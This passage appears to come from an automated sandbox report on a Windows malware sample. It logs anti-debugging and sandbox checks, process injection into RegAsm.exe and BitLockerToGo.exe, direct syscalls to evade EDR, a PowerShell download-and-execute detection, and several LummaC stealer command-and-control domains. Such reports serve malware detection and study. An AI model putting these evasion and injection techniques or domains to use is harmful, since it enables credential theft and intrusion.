Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6014
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6013
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.HostRetrieveVStorageObjectState
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6012
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6011
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.StoragePlacementSpecPlacementType.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[3]github.com/vmware/govmomi/vim25/types.VirtualMachineRecordReplayState
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DesiredSoftwareSpecComponentSpec
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: VirtualMachineDvxClassInfo8xml:"VirtualMachineDvxClassInfo,omitempty" json:"_value"
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[3]github.com/vmware/govmomi/vim25/types.VirtualMachineConfigInfoSwapPlacementType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6018
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6017
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6016
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6015
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: '*types.VirtualMachineFeatureRequirement
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*HostGraphicsConfigVgpuMode).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6019
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DatacenterEventArgument
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.GetCustomizationSpec
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VirtualPCIPassthroughVmiopBackingInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6003
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6002
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6001
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6000
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*ClusterVmReadinessReadyCondition).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: %*types.ArrayOfVirtualMachineSriovInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[6]github.com/vmware/govmomi/vim25/types.ReplicationVmState
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: 7*types.VirtualMachineBootOptionsNetworkBootProtocolType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6007
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6006
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6005
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6004
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.LocalTSMEnabledEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6009
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6008
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.HostCapabilityVmDirectPathGen2UnsupportedReason.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ListGuestAliases
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.VirtualHardwareMotherboardLayout.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ExportAnswerFile_Task
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*HostCpuPackageVendor).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*VirtualMachineFaultToleranceState).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: *types.VirtualMachineSerialInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.AlarmState
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.CreateSnapshotRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.VirtualMachineVideoCardUse3dRenderer.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.FormatVffsRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[7]github.com/vmware/govmomi/vim25/types.HostLicensableResourceKey
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ProfileMetadataProfileSortSpec
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.MarkAsLocalRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VchaNodeRuntimeInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.QueryVirtualDiskUuidRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: +types.ReplicationVmInProgressFaultActivity+func() []types.ScsiLunLunReservationStatus+func() []types.VMwareDVSTeamingMatchStatus+func() []types.VMwareUplinkLacpTimeoutMode+*func() []types.VirtualDiskRuleSpecRuleType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VmwareDistributedVirtualSwitchVlanIdSpec
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: #*[2]types.VirtualMachineCryptoState
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VirtualFloppyImageBackingOption
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.StartReplaying_Task
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: VMwareDVSPvlanConfigSpec6xml:"VMwareDVSPvlanConfigSpec,omitempty" json:"_value"
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*PerfStatsType).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.SessionManagerVmomiServiceRequestSpec
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.QuarantineModeFaultFaultType.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: *types.VMwareDvsMtuCapability
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: Payload0xml:"payload,omitempty" json:"payload,omitempty"8*[]types.UpdateVirtualMachineFilesResultFailedVmFileInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VirtualUSBUSBBackingOption
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: DiskType2xml:"diskType,omitempty" json:"diskType,omitempty";[1]types.VirtualMachineMetadataManagerVmMetadataOwnerOwner;[3]types.BaseConfigInfoDiskFileBackingInfoProvisioningType;[3]types.HostDistributedVirtualSwitchManagerFailoverReason;[3]types.ScheduledHardwareUpgradeInfoHardwareUpgradePolicy;[4]types.DVPortStatusVmDirectPathGen2InactiveReasonNetwork;[4]types.ScheduledHardwareUpgradeInfoHardwareUpgradeStatus;struct { F uintptr; X0 protowire.Number; X1 reflect.Type };struct { F uintptr; X0 reflect.Type; X1 protowire.Number };*map[protoreflect.FullName]protoregistry.extensionsByNumber
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: &*[]types.VirtualMachineVgpuProfileInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.GuestFileAttributes
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.AllocateIpv6AddressRequestType

Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe

API call chain: ExitProcess graph end node

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe

System information queried: ModuleInformation

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe

Process information queried: ProcessInformation

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe

Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: NTICE
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: SICE
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: SIWVID

Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00553F50 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00553F50

Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe

Code function: 8_2_00406312 GetModuleHandleA,LoadLibraryA,GetProcAddress,

8_2_00406312

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00433110 mov eax, dword ptr fs:[00000030h]		1_2_00433110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00433110 mov eax, dword ptr fs:[00000030h]		1_2_00433110

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0050CFA0 lstrlenA,GetProcessHeap,HeapAlloc,lstrcpynA,

1_2_0050CFA0

Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0053FCE5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0053FCE5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00553F50 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00553F50
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F92510 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF7B2F92510
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F93354 SetUnhandledExceptionFilter,	6_2_00007FF7B2F93354
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F93170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF7B2F93170
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F976D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF7B2F976D8

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 2Su0FBbBo66AP291hju1uAp_.exe PID: 2412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: woZv82DGCV54SaaUFka2bYWX.exe PID: 3412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Mk75cxC4KyOkgnwZzE1K_RlU.exe PID: 4080, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe

Code function: 5_2_02A02519 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

5_2_02A02519

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtProtectVirtualMemory: Direct from: 0x140F76E19
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtProtectVirtualMemory: Direct from: 0x140F8ECF5
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtClose: Direct from: 0x140F7C115
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtProtectVirtualMemory: Direct from: 0x140FA0A93
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtOpenFile: Direct from: 0x14189B63D
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtProtectVirtualMemory: Direct from: 0x140FA859C
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtUnmapViewOfSection: Direct from: 0x140F996FE
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtProtectVirtualMemory: Direct from: 0x140F66D18
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtMapViewOfSection: Direct from: 0x140F605F7
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtProtectVirtualMemory: Direct from: 0x141861BDF
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtProtectVirtualMemory: Direct from: 0x141867968
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtProtectVirtualMemory: Indirect: 0x140F4DF6A
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtProtectVirtualMemory: Direct from: 0x14186E3F6
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	NtProtectVirtualMemory: Direct from: 0x14185F564

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000002FF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: caffegclasiqwp.shop
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000002FF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stamppreewntnq.shop
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000002FF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stagedchheiqwo.shop
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000002FF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: millyscroqwp.shop
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000002FF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: evoliutwoqm.shop
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000002FF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: condedqpwqm.shop
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000002FF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: traineiwnqo.shop
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000002FF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: locatedblsoqp.shop
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000002FF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: awwardwiqi.shop

Writes to foreign memory regions

